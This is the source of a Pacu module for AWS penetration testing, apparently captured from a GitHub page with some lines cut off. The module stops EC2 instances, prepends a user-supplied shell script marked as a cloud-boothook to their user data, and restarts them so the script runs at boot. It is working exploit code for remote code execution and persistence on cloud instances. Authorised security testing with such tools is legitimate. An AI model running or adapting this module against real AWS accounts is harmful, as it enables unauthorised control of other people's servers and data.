pacu / pacu / modules / ec2__startup_shell_script / main.py

183 lines (151 loc) · 7.28 KB


```
#!/usr/bin/env python3
import argparse
import base64
from botocore.exceptions import ClientError
import time
import random


module_info = {
    # Name of the module (should be the same as the filename)
    'name': 'ec2__startup_shell_script',

    # Name and any other notes about the author
    'author': 'Spencer Gietzen of Rhino Security Labs based on the idea from https://github.com/dag

    # Category of the module. Make sure the name matches an existing category.
    'category': 'EXPLOIT',

    # One liner description of the module functionality. This shows up when a user searches for moc
    'one_liner': 'Stops and restarts EC2 instances to execute code.',

    # Description about what the module does and how it works
    'description': 'This module will attempt to stop the chosen EC2 instances, store/display the Us

    # A list of AWS services that the module utilizes during its execution
    'services': ['EC2'],
```

```
27
28          # For prerequisite modules, try and see if any existing modules return the data that is require
29          'prerequisite_modules': ['ec2__enum'],
30
31          # Module arguments to autocomplete when the user hits tab
32          'arguments_to_autocomplete': ['--script', '--instance-ids'],
33      }
34
35      parser = argparse.ArgumentParser(add_help=False, description=module_info['description'])
36
37      parser.add_argument('--script', required=True, help='File path of the shell script to add to the EC
38      parser.add_argument('--instance-ids', required=False, default=None, help='One or more (comma separa
39
40
41      def main(args, pacu_main):
42          session = pacu_main.get_active_session()
43
44          ###### Don't modify these. They can be removed if you are not using the function.
45          args = parser.parse_args(args)
46          print = pacu_main.print
47          fetch_data = pacu_main.fetch_data
48          get_regions = pacu_main.get_regions
49          ######
50
51          regions = get_regions('ec2')
52
53          client = pacu_main.get_boto3_client('ec2', random.choice(regions))
54
55          instances = []
56          if args.instance_ids is not None:  # need to update this to include the regions of these IDs
57              for instance in args.instance_ids.split(','):
58                  if "@" not in instance:
59                      print("Usage: <instance-id>@<region>   ex: i-abcdef12345@us-west-2")
60                      return({"error": "invalid usage"})
61                  instances.append({
62                      'InstanceId': instance.split('@')[0],
63                      'Region': instance.split('@')[1]
64                  })
65          else:
66              print('Targeting all EC2 instances...')
67              if fetch_data(['EC2', 'Instances'], module_info['prerequisite_modules'][0], '--instances')
68                  print('Sub-module run failed')
69                  return
70              for instance in session.EC2['Instances']:
71                  instances.append({
72                      'InstanceId': instance['InstanceId'],
```

```
                    'Region': instance['Region']
                })
        instance_count = 0
        for region in regions:
            client = pacu_main.get_boto3_client('ec2', region)
            for instance in instances:
                if instance['Region'] == region:
                    result = stop_instance(client, instance['InstanceId'], print)
                    if result:
                        update_userdata(client, instance['InstanceId'], prepare_user_data(client, insta
                        start_instance(client, instance['InstanceId'], print)
                        instance_count += 1
                    else:
                        print('  {}@{} FAILED'.format(instance['InstanceId'], instance['Region']))
        return {'Instances': instance_count}


def summary(data, pacu_main):
        if data['Instances']:
            out = '  {} Instance(s) Modified'.format(data['Instances'])
        else:
            out = '  No Instances Modified'
        return out


def stop_instance(client, instance_id, print):
        print('Stopping {}'.format(instance_id))
        try:
            client.stop_instances(InstanceIds=[instance_id])
            return True
        except ClientError as error:
            code = error.response['Error']['Code']
            print('FAILURE: ')
            if code == 'UnauthorizedOperation':
                print('  Access denied to StopInstances.')
            else:
                print('  ' + code)
        return False


def start_instance(client, instance_id, print):
        print('Starting {}'.format(instance_id))
        try:
            client.start_instances(InstanceIds=[instance_id])
            return True
        except ClientError as error:
```

```
119             code = error.response['Error']['Code']
120             print('FAILURE: ')
121             if code == 'UnauthorizedOperation':
122                 print('  Access denied to StartInstances.')
123             else:
124                 print('  ' + code)
125         return False
126
127
128     def prepare_user_data(client, instance_id, script):
129         # TODO: Replace this with a fetch_data of download_ec2_userdata
130         # This will error if the UserData is gzipped
131         try:
132             response = client.describe_instance_attribute(
133                 Attribute='userData',
134                 InstanceId=instance_id
135             )
136             user_data = ''
137             if response['UserData']:
138                 user_data = base64.b64decode(response['UserData']['Value']).decode("utf-8")
139                 # Save the current data in case there is something sensitive
140                 # with open('output/scrapedUserData.txt', 'a+') as scraped_user_data_file:
141                 #     scraped_user_data_file.write('User data for instance id {}: {}\n'.format(instance
142
143             with open(script, 'r') as shell_script:
144                 # Append our script to their old user data to not screw up the instance
145                 user_data = '#cloud-boothook\n{}\n\n{}'.format(shell_script.read(), user_data)  # the #
146
147             return user_data
148         except ClientError as error:
149             code = error.response['Error']['Code']
150             print('FAILURE: ')
151             if code == 'UnauthorizedOperation':
152                 print('  Access denied to DescribeInstanceAttribute.')
153             else:
154                 print('  ' + code)
155             return False
156
157
158     def update_userdata(client, instance_id, user_data, print):
159         print('Setting User Data for {}'.format(instance_id))
160
161         result = False
162         code = 'IncorrectInstanceState'
163
```

```
164         while(code == 'IncorrectInstanceState' and not result):
165             try:
166                 client.modify_instance_attribute(
167                     InstanceId=instance_id,
168                     UserData={
169                         'Value': user_data
170                     }
171                 )
172                 result = True
173             except ClientError as error:
174                 code = error.response['Error']['Code']
175                 if code == 'UnauthorizedOperation':
176                     print('  Access denied to ModifyInstanceAttribute.')
177                     return False
178                 elif code != 'IncorrectInstanceState':
179                     print(error.response['Error']['Message'])
180                     return False
181                 time.sleep(5)
182 
183         return result
```